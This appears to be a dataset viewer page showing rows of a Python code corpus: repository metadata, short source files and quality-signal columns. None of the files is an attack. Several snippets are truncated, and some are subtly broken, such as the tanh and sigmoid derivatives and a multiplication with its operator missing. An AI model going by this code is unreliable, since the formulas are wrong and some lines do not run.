Split (1)

train · 675k rows

hexsha string	size int64	ext string	lang string	max_stars_repo_path string	max_stars_repo_name string	max_stars_repo_head_hexsha string	max_stars_repo_licenses list	max_stars_count int64	max_stars_repo_stars_event_min_datetime string	max_stars_repo_stars_event_max_datetime string	max_issues_repo_path string	max_issues_repo_name string	max_issues_repo_head_hexsha string	max_issues_repo_licenses list	max_issues_count int64	max_issues_repo_issues_event_min_datetime string	max_issues_repo_issues_event_max_datetime string	max_forks_repo_path string	max_forks_repo_name string	max_forks_repo_head_hexsha string	max_forks_repo_licenses list	max_forks_count int64	max_forks_repo_forks_event_min_datetime string	max_forks_repo_forks_event_max_datetime string	content string	avg_line_length float64	max_line_length int64	alphanum_fraction float64	qsc_code_num_words_quality_signal int64	qsc_code_num_chars_quality_signal float64	qsc_code_mean_word_length_quality_signal float64	qsc_code_frac_words_unique_quality_signal float64	qsc_code_frac_chars_top_2grams_quality_signal float64	qsc_code_frac_chars_top_3grams_quality_signal float64	qsc_code_frac_chars_top_4grams_quality_signal float64	qsc_code_frac_chars_dupe_5grams_quality_signal float64	qsc_code_frac_chars_dupe_6grams_quality_signal float64	qsc_code_frac_chars_dupe_7grams_quality_signal float64	qsc_code_frac_chars_dupe_8grams_quality_signal float64	qsc_code_frac_chars_dupe_9grams_quality_signal float64	qsc_code_frac_chars_dupe_10grams_quality_signal float64	qsc_code_frac_chars_digital_quality_signal float64	qsc_code_frac_chars_whitespace_quality_signal float64	qsc_code_size_file_byte_quality_signal float64	qsc_code_num_lines_quality_signal float64	qsc_code_num_chars_line_max_quality_signal float64	qsc_code_num_chars_line_mean_quality_signal float64	qsc_code_frac_chars_alphabet_quality_signal float64	qsc_code_frac_chars_comments_quality_signal float64	qsc_code_frac_lines_dupe_lines_quality_signal float64	qsc_code_cate_autogen_quality_signal float64	qsc_code_frac_lines_long_string_quality_signal float64	qsc_code_frac_chars_string_length_quality_signal float64	qsc_code_frac_chars_long_word_length_quality_signal float64	qsc_code_frac_lines_string_concat_quality_signal float64	qsc_code_frac_lines_assert_quality_signal float64	qsc_codepython_cate_ast_quality_signal float64	qsc_codepython_frac_lines_func_ratio_quality_signal float64	qsc_codepython_cate_var_zero_quality_signal bool	qsc_codepython_frac_lines_pass_quality_signal float64	qsc_codepython_frac_lines_import_quality_signal float64	qsc_codepython_frac_lines_simplefunc_quality_signal float64	qsc_codepython_score_lines_no_logic_quality_signal float64	qsc_codepython_frac_lines_print_quality_signal float64	qsc_code_num_words int64	qsc_code_num_chars int64	qsc_code_frac_words_unique null	qsc_code_frac_chars_top_2grams int64	qsc_code_frac_chars_top_3grams int64	qsc_code_frac_chars_top_4grams int64	qsc_code_frac_chars_dupe_5grams int64	qsc_code_frac_chars_dupe_6grams int64	qsc_code_frac_chars_dupe_7grams int64	qsc_code_frac_chars_dupe_10grams int64	qsc_code_frac_chars_digital int64	qsc_code_num_lines int64	qsc_code_num_chars_line_mean int64	qsc_code_frac_chars_alphabet int64	qsc_code_frac_chars_comments int64	qsc_code_frac_lines_dupe_lines int64	qsc_code_cate_autogen int64	qsc_code_frac_lines_long_string int64	qsc_code_frac_chars_string_length int64	qsc_code_frac_chars_long_word_length int64	qsc_code_frac_lines_string_concat null	qsc_code_frac_lines_assert int64	qsc_codepython_cate_ast int64	qsc_codepython_frac_lines_func_ratio int64	qsc_codepython_cate_var_zero int64	qsc_codepython_frac_lines_pass int64	qsc_codepython_frac_lines_import int64	qsc_codepython_frac_lines_simplefunc int64	qsc_codepython_score_lines_no_logic int64	qsc_codepython_frac_lines_print int64	hits int64
ef41a17afcfac48d8984afd61cf71b380ea6f707	85	py	Python	authx/middleware/__init__.py	theoohoho/authx	5c79983cedd4f33fe4c6c3d744c6857f830653fc	[ "MIT" ]	141	2021-11-08T18:59:57.000Z	2022-03-31T18:49:23.000Z	authx/middleware/__init__.py	theoohoho/authx	5c79983cedd4f33fe4c6c3d744c6857f830653fc	[ "MIT" ]	85	2021-11-08T17:30:08.000Z	2022-03-24T18:23:51.000Z	authx/middleware/__init__.py	theoohoho/authx	5c79983cedd4f33fe4c6c3d744c6857f830653fc	[ "MIT" ]	15	2021-11-09T00:01:13.000Z	2022-03-26T20:25:18.000Z	from authx.middleware.Oauth2 import MiddlewareOauth2 __all__ = ["MiddlewareOauth2"]	21.25	52	0.823529	8	85	8.25	0.875	0	0	0	0	0	0	0	0	0	0.038961	0.094118	85	3	53	28.333333	0.818182	0	0	0	0	0.188235	0	0	0	1	0	false	0	0.5	0	0.5	0	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	3
ef4875220a3f1fc682c10d3c445761a778a40c39	250	py	Python	net/activations.py	LBartolini/GKPositioning	b522e1620be68e64fc2e02554c7ee19ff2698bf8	[ "MIT" ]	null	null	null	net/activations.py	LBartolini/GKPositioning	b522e1620be68e64fc2e02554c7ee19ff2698bf8	[ "MIT" ]	null	null	null	net/activations.py	LBartolini/GKPositioning	b522e1620be68e64fc2e02554c7ee19ff2698bf8	[ "MIT" ]	null	null	null	import numpy as np # activation functions and its derivatives def tanh(x): return np.tanh(x) def tanh_prime(x): return 1-np.tanh(x)*2 def sigmoid(x): return 1/(1+np.exp(-x)) def sigmoid_prime(x): return sigmoid(x)(1-sigmoid(x))	16.666667	42	0.664	45	250	3.644444	0.4	0.170732	0.085366	0	0	0	0	0	0	0	0.02451	0.184	250	14	43	17.857143	0.779412	0.16	0	0	0	0	0	0	0	1	0.444444	false	0	0.111111	0.444444	1	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
32386c7efd3b6e87071529a8cc284879a7abff0f	519	py	Python	code/utilities/date_util.py	msinkinson/CommonOwnerReplication	59a4b275464521623c6bfc22738959c27a534504	[ "MIT" ]	23	2020-06-24T21:07:35.000Z	2022-02-25T10:58:15.000Z	code/utilities/date_util.py	msinkinson/CommonOwnerReplication	59a4b275464521623c6bfc22738959c27a534504	[ "MIT" ]	1	2020-06-29T16:56:06.000Z	2020-06-29T16:56:06.000Z	code/utilities/date_util.py	msinkinson/CommonOwnerReplication	59a4b275464521623c6bfc22738959c27a534504	[ "MIT" ]	14	2020-06-24T19:46:57.000Z	2022-03-24T17:06:44.000Z	import pandas as pd def lookup_dates(s): """ This is an extremely fast approach to datetime parsing. For large data, the same dates are often repeated. Rather than re-parse these, we store all unique dates, parse them, and use a lookup to convert all dates. """ dates_dict = {date:pd.to_date...	37.071429	93	0.709056	81	519	4.481481	0.679012	0.055096	0.088154	0	0	0	0	0	0	0	0.002381	0.190751	519	14	93	37.071429	0.861905	0.408478	0	0	0	0.021429	0	0	0	1	0.333333	false	0	0.166667	0.166667	0.833333	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
323a616d276db5c2930e9506fc0638036106f972	721	py	Python	pisap/__init__.py	hanaecarrie/pisap	958f53dbc28afc6fb84c7f3d678c8549307ef9f5	[ "CECILL-B" ]	null	null	null	pisap/__init__.py	hanaecarrie/pisap	958f53dbc28afc6fb84c7f3d678c8549307ef9f5	[ "CECILL-B" ]	null	null	null	pisap/__init__.py	hanaecarrie/pisap	958f53dbc28afc6fb84c7f3d678c8549307ef9f5	[ "CECILL-B" ]	null	null	null	########################################################################## # XXX - Copyright (C) XXX, 2017 # Distributed under the terms of the CeCILL-B license, as published by # the CEA-CNRS-INRIA. Refer to the LICENSE file or to # http://www.cecill.info/licences/Licence_CeCILL-B_V1-en.html # for details. ###########...	37.947368	79	0.617198	90	721	4.877778	0.711111	0.031891	0.059226	0	0	0	0	0	0	0	0.009434	0.117892	721	18	80	40.055556	0.680818	0.604716	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	1	0	1	0	1	0	3
326959053fce1cd28c3bb17cf3ce8d35a636a081	228	pyde	Python	session_3/Examples/LoadImage/LoadImage.pyde	matthias-jaeger-net/coding-sessions	01196ec3277f1199bdee0fb3a7771bfc970a08c5	[ "MIT" ]	1	2020-01-25T15:27:22.000Z	2020-01-25T15:27:22.000Z	session_3/Examples/LoadImage/LoadImage.pyde	matthias-jaeger-net/coding-sessions	01196ec3277f1199bdee0fb3a7771bfc970a08c5	[ "MIT" ]	null	null	null	session_3/Examples/LoadImage/LoadImage.pyde	matthias-jaeger-net/coding-sessions	01196ec3277f1199bdee0fb3a7771bfc970a08c5	[ "MIT" ]	null	null	null	# Example 1 def setup(): # Set to the same size as the source image # https://unsplash.com/photos/mGy1Jjr2e6M size(900, 600) # Load and display and position the image image(loadImage("file.jpg"), 0, 0)	22.8	46	0.644737	34	228	4.323529	0.794118	0	0	0	0	0	0	0	0	0	0.069767	0.245614	228	9	47	25.333333	0.784884	0.574561	0	0	0	0.086957	0	0	0	1	0.333333	true	0	0	0	0.333333	0	0	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	1	1	0	0	0	0	0	3
3279d3e14d40fa6b329d283e373be3470ec67605	277	py	Python	Validation/RecoB/python/bTagAnalysis_harvesting_cfi.py	ckamtsikis/cmssw	ea19fe642bb7537cbf58451dcf73aa5fd1b66250	[ "Apache-2.0" ]	852	2015-01-11T21:03:51.000Z	2022-03-25T21:14:00.000Z	Validation/RecoB/python/bTagAnalysis_harvesting_cfi.py	ckamtsikis/cmssw	ea19fe642bb7537cbf58451dcf73aa5fd1b66250	[ "Apache-2.0" ]	30,371	2015-01-02T00:14:40.000Z	2022-03-31T23:26:05.000Z	Validation/RecoB/python/bTagAnalysis_harvesting_cfi.py	ckamtsikis/cmssw	ea19fe642bb7537cbf58451dcf73aa5fd1b66250	[ "Apache-2.0" ]	3,240	2015-01-02T05:53:18.000Z	2022-03-31T17:24:21.000Z	import FWCore.ParameterSet.Config as cms # BTagPerformanceAnalyzer configuration from Validation.RecoB.bTagAnalysis_cfi import * bTagValidationHarvest = bTagHarvestMC.clone() from DQMOffline.RecoB.bTagAnalysisData_cfi import * bTagValidationHarvestData = bTagHarvest.clone()	30.777778	51	0.855596	26	277	9.038462	0.769231	0.076596	0	0	0	0	0	0	0	0	0	0.083032	277	8	52	34.625	0.925197	0.133574	0	0	0	0	0	0	0	1	0	false	0	0.6	0	0.6	0	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	3
328ab31966b94bac98d6aabe62a200019dc04926	50	py	Python	api/src/app.py	marreche/deep_film	257b30298f991c85432235eccbb5acdba110a2d8	[ "MIT" ]	null	null	null	api/src/app.py	marreche/deep_film	257b30298f991c85432235eccbb5acdba110a2d8	[ "MIT" ]	null	null	null	api/src/app.py	marreche/deep_film	257b30298f991c85432235eccbb5acdba110a2d8	[ "MIT" ]	1	2021-11-18T09:36:21.000Z	2021-11-18T09:36:21.000Z	from flask import Flask app = Flask("movies_api")	16.666667	25	0.76	8	50	4.625	0.75	0	0	0	0	0	0	0	0	0	0	0.14	50	3	25	16.666667	0.860465	0	0	0	0	0.196078	0	0	0	1	0	false	0	0.5	0	0.5	0	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	3
32c5e2fc97453b7141b89e70d8e4673258e24429	152	py	Python	coding/product_of_array_except_self/starter.py	skumaravelan/tech-interview-questions	637dfbf131123c77a8e2e4e45ba420355dcb381f	[ "MIT" ]	14	2022-02-08T17:29:29.000Z	2022-03-27T17:22:14.000Z	coding/product_of_array_except_self/starter.py	skumaravelan/tech-interview-questions	637dfbf131123c77a8e2e4e45ba420355dcb381f	[ "MIT" ]	18	2022-01-27T17:37:26.000Z	2022-03-29T15:16:18.000Z	coding/product_of_array_except_self/starter.py	skumaravelan/tech-interview-questions	637dfbf131123c77a8e2e4e45ba420355dcb381f	[ "MIT" ]	9	2022-02-08T16:03:10.000Z	2022-03-19T03:26:30.000Z	class Solution(object): def productExceptSelf(self, nums): """ :type nums: List[int] :rtype: List[int] """	19	38	0.486842	14	152	5.285714	0.785714	0.189189	0	0	0	0	0	0	0	0	0	0.375	152	7	39	21.714286	0.778947	0.256579	0	0	0	0	0	0	0	1	0.5	false	0	0	0	1	0	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	0	0	0	3
0875555187c962f1beee2c7a91d74d3b3cacb958	149	py	Python	cwd.py	Nuk3lar/FluxBot	96d604a7178e83d29030f61bddd7cdc032b18249	[ "MIT" ]	null	null	null	cwd.py	Nuk3lar/FluxBot	96d604a7178e83d29030f61bddd7cdc032b18249	[ "MIT" ]	null	null	null	cwd.py	Nuk3lar/FluxBot	96d604a7178e83d29030f61bddd7cdc032b18249	[ "MIT" ]	null	null	null	import os, sys #Determines the system type if sys.platform == "linux": cwd = os.getenv('PWD') elif sys.platform == "win32": cwd = os.getcwd()	24.833333	29	0.651007	22	149	4.409091	0.727273	0.226804	0	0	0	0	0	0	0	0	0.016529	0.187919	149	6	30	24.833333	0.785124	0.174497	0	0	0	0.105691	0	0	0	1	0	false	0	0.2	0	0.2	0	1	0	null	1	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
08863baf1738e858617066f7df18b1e279cc449d	317	py	Python	Data Scientist Career Path/5. Data Manipulation with Pandas/2. Hands On with Pandas/2. Modifying/8. lambda row.py	myarist/Codecademy	2ba0f104bc67ab6ef0f8fb869aa12aa02f5f1efb	[ "MIT" ]	23	2021-06-06T15:35:55.000Z	2022-03-21T06:53:42.000Z	Data Scientist Career Path/5. Data Manipulation with Pandas/2. Hands On with Pandas/2. Modifying/8. lambda row.py	shivaniverma1/Data-Scientist	f82939a411484311171465591455880c8e354750	[ "MIT" ]	null	null	null	Data Scientist Career Path/5. Data Manipulation with Pandas/2. Hands On with Pandas/2. Modifying/8. lambda row.py	shivaniverma1/Data-Scientist	f82939a411484311171465591455880c8e354750	[ "MIT" ]	9	2021-06-08T01:32:04.000Z	2022-03-18T15:38:09.000Z	import codecademylib import pandas as pd df = pd.read_csv('employees.csv') total_earned = lambda row: row['hours_worked'] * row['hourly_wage'] if row['hours_worked'] <= 40 else (40 * row['hourly_wage']) + (row['hours_worked'] - 40) * (row['hourly_wage'] * 1.50) df['total_earned'] = df.apply(total_earned, axis=1)	39.625	187	0.694006	50	317	4.2	0.48	0.157143	0.2	0.152381	0	0	0	0	0	0	0.035971	0.123028	317	8	188	39.625	0.719424	0	0	0	0	0.295597	0	0	0	1	0	false	0	0.4	0	0.4	0	0	0	null	0	1	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	1	0	0	0	3
0894210380f9f449a95fc68c8cc8da3b277f0ca5	157	py	Python	src/flask_app_generator/templates/views/__init__.py	SeoDongMyeong/flask-generator	420ed31d3b0fca2822fed9903446d75d9a93bec5	[ "MIT" ]	null	null	null	src/flask_app_generator/templates/views/__init__.py	SeoDongMyeong/flask-generator	420ed31d3b0fca2822fed9903446d75d9a93bec5	[ "MIT" ]	null	null	null	src/flask_app_generator/templates/views/__init__.py	SeoDongMyeong/flask-generator	420ed31d3b0fca2822fed9903446d75d9a93bec5	[ "MIT" ]	1	2018-02-03T10:33:57.000Z	2018-02-03T10:33:57.000Z	import index BLUEPRINTS = [ index.blueprint ] def register_blueprint(app): for blueprint in BLUEPRINTS: app.register_blueprint(blueprint)	14.272727	41	0.719745	17	157	6.529412	0.529412	0.306306	0	0	0	0	0	0	0	0	0	0.210191	157	10	42	15.7	0.895161	0	0	0	0	0	0	0	0	1	0.142857	false	0	0.142857	0	0.285714	0.571429	1	0	null	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	1	3
08a3c2d8042cbbc05353c7cc312ee8ddbe7dc9ce	175	py	Python	examples/testZedPose.py	rraid/navi-v2	9b4bff86791cf81fc00f6c9bd16cb257f9949afb	[ "MIT" ]	null	null	null	examples/testZedPose.py	rraid/navi-v2	9b4bff86791cf81fc00f6c9bd16cb257f9949afb	[ "MIT" ]	9	2017-07-20T23:16:24.000Z	2017-08-12T01:13:32.000Z	examples/testZedPose.py	rraid/navi-v2	9b4bff86791cf81fc00f6c9bd16cb257f9949afb	[ "MIT" ]	null	null	null	import sys sys.path.append("../device/") import zed import numpy as np import cv2 import time zed.open() while True: print zed.getPose() time.sleep(.01) zed.close()	10.9375	29	0.691429	28	175	4.321429	0.678571	0	0	0	0	0	0	0	0	0	0.02069	0.171429	175	15	30	11.666667	0.813793	0	0	0	0	0.057143	0	0	0	0	null	null	0	0.454545	null	null	0.090909	1	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	1	0	0	0	1	0	0	0	3
08cb4fa5fb5fad51699435af3ff02778340e982b	124	py	Python	baekjoon/math/13277-big-multiply.py	honux77/algorithm	2ed8cef1fbee7ad96d8f2ae583666d52bd8892ee	[ "MIT" ]	2	2019-02-08T01:23:07.000Z	2020-11-19T12:23:52.000Z	baekjoon/math/13277-big-multiply.py	honux77/algorithm	2ed8cef1fbee7ad96d8f2ae583666d52bd8892ee	[ "MIT" ]	null	null	null	baekjoon/math/13277-big-multiply.py	honux77/algorithm	2ed8cef1fbee7ad96d8f2ae583666d52bd8892ee	[ "MIT" ]	null	null	null	from decimal import Decimal,getcontext getcontext().prec=10*6 a,b = map(Decimal,input().split()) print(format(a b,'f'))	20.666667	38	0.701613	20	124	4.35	0.75	0.045977	0	0	0	0	0	0	0	0	0.026786	0.096774	124	5	39	24.8	0.75	0	0	0	0	0.008065	0	0	0	1	0	true	0	0.25	0	0.25	0.25	1	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	1	0	0	0	0	0	3
08d0368c5343c998090afcf80c32d52904a8109f	1,470	py	Python	tests/conftest.py	sunwei/ddd-nginx	77796351a3fc61df1afbbbf353f0058f7a0e8ed3	[ "MIT" ]	null	null	null	tests/conftest.py	sunwei/ddd-nginx	77796351a3fc61df1afbbbf353f0058f7a0e8ed3	[ "MIT" ]	null	null	null	tests/conftest.py	sunwei/ddd-nginx	77796351a3fc61df1afbbbf353f0058f7a0e8ed3	[ "MIT" ]	null	null	null	# -- coding: utf-8 -- """Test data""" import os import pytest TEST_PATH = os.path.abspath(os.path.dirname(__file__)) TEST_DATA_PATH = os.path.join(TEST_PATH, 'test_data') def _get_test_data(filename): file_path = os.path.join(TEST_DATA_PATH, filename) with open(file_path, encoding='utf-8') as data_file: ...	22.615385	56	0.742177	221	1,470	4.565611	0.158371	0.11893	0.119921	0.168484	0.561943	0.280476	0.106046	0.063429	0	0	0.001535	0.113605	1,470	64	57	22.96875	0.772832	0.021769	0	0	0	0.223464	0.03771	0	0	1	0.282051	false	0	0.051282	0.25641	0.615385	0	0	0	null	0	0	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	0	0	3
08dffaba463e7f42bf6ecb90d6ab534d7ee530be	300	py	Python	sample/fastapi/server.py	egmkang/koala	70ea68c0d4380242c61faa8a6f023fa248049ec8	[ "MIT" ]	15	2021-06-02T12:43:26.000Z	2022-01-24T19:14:02.000Z	sample/fastapi/server.py	egmkang/flash	70ea68c0d4380242c61faa8a6f023fa248049ec8	[ "MIT" ]	1	2021-06-14T10:08:46.000Z	2021-06-14T10:08:46.000Z	sample/fastapi/server.py	egmkang/flash	70ea68c0d4380242c61faa8a6f023fa248049ec8	[ "MIT" ]	1	2021-01-20T06:38:01.000Z	2021-01-20T06:38:01.000Z	import os from koala.server import koala_host from koala.server.fastapi import * from sample.fastapi.http_api import * import sample.player koala_host.init_server(globals().copy(), f"{os.getcwd()}/sample/app.yaml") koala_host.use_pd() koala_host.listen_fastapi() koala_host.run_server()	25	75	0.766667	46	300	4.782609	0.478261	0.204545	0.136364	0	0	0	0	0	0	0	0	0.113333	300	11	76	27.272727	0.827068	0	0	0	0	0.100346	0.100346	0	0	1	0	true	0	0.555556	0	0.555556	0	0	0	null	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	1	0	1	0	0	0	3
3e956e23b115a9462efdc3b663ad5bc35a8e7669	229	py	Python	Python/School/C1/Q9C1.py	abdalrhmanyasser/Abdalrhman_Rep	e0fc3caa2cc04e92f591ccd7934586986d194000	[ "CC0-1.0" ]	null	null	null	Python/School/C1/Q9C1.py	abdalrhmanyasser/Abdalrhman_Rep	e0fc3caa2cc04e92f591ccd7934586986d194000	[ "CC0-1.0" ]	null	null	null	Python/School/C1/Q9C1.py	abdalrhmanyasser/Abdalrhman_Rep	e0fc3caa2cc04e92f591ccd7934586986d194000	[ "CC0-1.0" ]	null	null	null	x = int(input("Enter the meal price in AED: ")) y = int(input("Enter the tip you want to leave : ")) print("Total (tip unincluded) : " + str(x) + "\nTip : " + str(y) + "%" + "\nTotal (tip included) : " + str(x+x*(y/100)) + "AED")	76.333333	128	0.563319	37	229	3.486486	0.621622	0.124031	0.20155	0.248062	0	0	0	0	0	0	0.016216	0.19214	229	3	128	76.333333	0.681081	0	0	0	0	0.543478	0	0	0	1	0	false	0	0	0	0	0.333333	0	0	null	0	1	1	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
3ea1801e8b544d3cf1b90b0af1dbb474db55e499	302	py	Python	dl/graph/__init__.py	skankhunt76/deeplearning-py	e0a0363e84db94d7aebe18240dcda49981b67f74	[ "MIT" ]	null	null	null	dl/graph/__init__.py	skankhunt76/deeplearning-py	e0a0363e84db94d7aebe18240dcda49981b67f74	[ "MIT" ]	null	null	null	dl/graph/__init__.py	skankhunt76/deeplearning-py	e0a0363e84db94d7aebe18240dcda49981b67f74	[ "MIT" ]	null	null	null	from .op import * from .variable import * # Layers created will hold variable of weight and bias # Create placeholder for input values # Compute to create the final y # go backward to compute gradient for each variables # if variable is not constant, gradient ++ # if not, recurrent over	30.2	55	0.731788	44	302	5.022727	0.75	0	0	0	0	0	0	0	0	0	0	0.221854	302	9	56	33.555556	0.940426	0.784768	0	0	0	0	0	0	0	1	0	true	0	1	0	1	0	0	0	null	0	0	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	null	0	0	0	1	0	1	0	0	0	3
3ebb9cba32c733132a167b7f95a5854a27ce8a67	334	py	Python	jp.atcoder/abc070/abc070_c/9100646.py	kagemeka/atcoder-submissions	91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e	[ "MIT" ]	1	2022-02-09T03:06:25.000Z	2022-02-09T03:06:25.000Z	jp.atcoder/abc070/abc070_c/9100646.py	kagemeka/atcoder-submissions	91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e	[ "MIT" ]	1	2022-02-05T22:53:18.000Z	2022-02-09T01:29:30.000Z	jp.atcoder/abc070/abc070_c/9100646.py	kagemeka/atcoder-submissions	91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e	[ "MIT" ]	null	null	null	import sys from functools import reduce def gcd(a, b): while b: a, b = b, a % b return abs(a) def lcm(a, b): return abs(a // gcd(a, b) * b) n, *t = map(int, sys.stdin.read().split()) def main(): return reduce(lcm, t) if __name__ == "__main__": ans = main() ...	13.36	43	0.502994	52	334	3.076923	0.480769	0.0625	0.0625	0.1375	0.15	0	0	0	0	0	0	0.341317	334	24	44	13.916667	0.727273	0	0	0	0	0.025806	0	0	0	1	0.214286	false	0	0.142857	0.142857	0.571429	0.071429	0	0	null	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	0	0	1	1	0	3
3ec39b4508bcbacfa71294dd41ec65e7ca3f4332	2,138	py	Python	examples/gridworld/GridWorldUnitTests/GridFactory.py	parrisma/TicTacToe-DeepLearning	4fefb1ef9d172eb19709f0f2a681307537769f58	[ "MIT" ]	1	2021-08-17T12:09:48.000Z	2021-08-17T12:09:48.000Z	examples/gridworld/GridWorldUnitTests/GridFactory.py	parrisma/TicTacToe-DeepLearning	4fefb1ef9d172eb19709f0f2a681307537769f58	[ "MIT" ]	null	null	null	examples/gridworld/GridWorldUnitTests/GridFactory.py	parrisma/TicTacToe-DeepLearning	4fefb1ef9d172eb19709f0f2a681307537769f58	[ "MIT" ]	null	null	null	import numpy as np from examples.gridworld.Grid import Grid from examples.gridworld.SimpleGridOne import SimpleGridOne class GridFactory: step = SimpleGridOne.STEP fire = SimpleGridOne.FIRE blck = SimpleGridOne.BLCK goal = SimpleGridOne.GOAL @classmethod def test_grid_one(cls) -> Grid: ...	27.410256	63	0.471001	254	2,138	3.925197	0.153543	0.294885	0.381143	0.46339	0.664995	0.660983	0.617854	0.521565	0.475426	0.399198	0.033965	0.407858	2,138	77	64	27.766234	0.753555	0	0.5	0	0	0	0	0	0	1	0.078125	false	0	0.046875	0	0.28125	0	0	0	null	1	1	1	0	0	0	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
3ee324df90696dce9c9397a03ef8bba15b629121	1,120	py	Python	adam_astrom_photom_condition_checker.py	deapplegate/wtgpipeline	9693e8562022cc97bf5a96427e22965e1a5e8497	[ "MIT" ]	1	2019-03-15T04:01:19.000Z	2019-03-15T04:01:19.000Z	adam_astrom_photom_condition_checker.py	deapplegate/wtgpipeline	9693e8562022cc97bf5a96427e22965e1a5e8497	[ "MIT" ]	5	2017-12-11T00:11:39.000Z	2021-07-09T17:05:16.000Z	adam_astrom_photom_condition_checker.py	deapplegate/wtgpipeline	9693e8562022cc97bf5a96427e22965e1a5e8497	[ "MIT" ]	2	2017-08-15T21:19:11.000Z	2017-10-12T00:36:35.000Z	#! /usr/bin/env python #astref=starcat astref_wt=1 stability_type=exp #astref=starcat astref_wt=1 stability_type=instrum #astref=starcat astref_wt=10 stability_type=exp #astref=starcat astref_wt=10 stability_type=instrum #astref=refcat astref_wt=1 stability_type=exp #astref=refcat astref_wt=1 stability_type=instr...	36.129032	98	0.730357	175	1,120	4.48	0.188571	0.142857	0.068878	0.107143	0.790816	0.757653	0.748724	0.272959	0.272959	0.272959	0.047521	0.135714	1,120	30	99	37.333333	0.762397	0.361607	0.588235	0	0	0.314894	0	0	0	0	null	null	0	0.058824	null	null	0.176471	0	0	null	0	0	0	0	1	1	0	0	0	0	0	0	0	0	0	0	0	null	0	1	0	0	0	0	0	0	0	3
3ee9d6760e20b48019abff452023cb0a513879ef	6,582	py	Python	cogs/kawaii.py	exunious/Noella-Bot	ef119cf1ffc102188954962d54f07d895f4a7a94	[ "MIT" ]	null	null	null	cogs/kawaii.py	exunious/Noella-Bot	ef119cf1ffc102188954962d54f07d895f4a7a94	[ "MIT" ]	1	2019-01-08T21:53:38.000Z	2019-01-08T21:53:38.000Z	cogs/kawaii.py	exunious/Noella-Bot	ef119cf1ffc102188954962d54f07d895f4a7a94	[ "MIT" ]	3	2018-01-05T02:58:01.000Z	2018-06-14T20:56:51.000Z	######################################### ############ Kawaii Commands ############ ######################################### import discord import random from config import embed_color, embed_color_attention, embed_color_error, embed_color_succes from discord.ext import commands from cogs.data.kawaiidata import * cl...	32.91	123	0.60392	806	6,582	4.861042	0.111663	0.079122	0.061256	0.095712	0.822358	0.777693	0.777693	0.656457	0.584482	0.469117	0	0.237618	6,582	199	124	33.075377	0.780789	0.067001	0.604317	0	0	0.124792	0.024427	0	0	1	0.014388	false	0	0.035971	0	0.057554	0	0	0	null	0	0	0	1	1	1	0	0	0	0	0	0	0	0	0	0	0	null	0	0	0	0	0	0	0	0	0	3
f5b7bdc14adf7bf146ed029f0374809f23d84a2f	2,186	py	Python	synergos/abstract.py	aimakerspace/Synergos	ce972f6b031535e82be6724f42118c33f90e9189	[ "Apache-2.0" ]	null	null	null	synergos/abstract.py	aimakerspace/Synergos	ce972f6b031535e82be6724f42118c33f90e9189	[ "Apache-2.0" ]	null	null	null	synergos/abstract.py	aimakerspace/Synergos	ce972f6b031535e82be6724f42118c33f90e9189	[ "Apache-2.0" ]	3	2021-11-25T03:26:52.000Z	2022-01-24T09:48:37.000Z	#!/usr/bin/env python #################### # Required Modules # #################### # Generic/Built-in import abc import logging from typing import Callable # Libs # Custom ################## # Configurations # ################## class AbstractTask(abc.ABC): @abc.abstractmethod def create(self, *args,...	27.325	80	0.593321	230	2,186	5.634783	0.269565	0.069444	0.07716	0.069444	0.661265	0.636574	0.636574	0.636574	0.636574	0.636574	0	0.31107	2,186	80	81	27.325	0.860558	0.559927	0.526316	0	0	0	0	0	0	1	0.263158	false	0.263158	0.157895	0	0.473684	0	0	0	null	0	0	0	0	0	0	1	0	0	0	0	0	0	0	0	0	0	null	0	0	1	0	1	0	0	0	0	3
f5cd68d25f0f464a74ab59c942bd6abc3a3b227b	940	py	Python	bento_meta_shim/models/mdbnode.py	CBIIT/bento-meta-shim	42396456088f1d53158fe831bf774101c9ec0c33	[ "MIT" ]	null	null	null	bento_meta_shim/models/mdbnode.py	CBIIT/bento-meta-shim	42396456088f1d53158fe831bf774101c9ec0c33	[ "MIT" ]	null	null	null	bento_meta_shim/models/mdbnode.py	CBIIT/bento-meta-shim	42396456088f1d53158fe831bf774101c9ec0c33	[ "MIT" ]	null	null	null	from bento_meta.objects import Node from bento_meta_shim.models.mdbproperty import MDBproperty class MDBnode(): __node = None """give proper life""" def __init__(self, node): self.__node = node self.kind = node.mapspec_['label'] self.name = node.handle self.handle = node.ha...	29.375	77	0.608511	112	940	4.776786	0.375	0.074766	0.048598	0.06729	0.119626	0.119626	0.119626	0	0	0	0	0.274468	940	32	78	29.375	0.784457	0	0	0	0	0.033732	0	0	0	1	0.208333	false	0	0.083333	0.125	0.541667	0	0	0	null	0	0	0	0	0	0	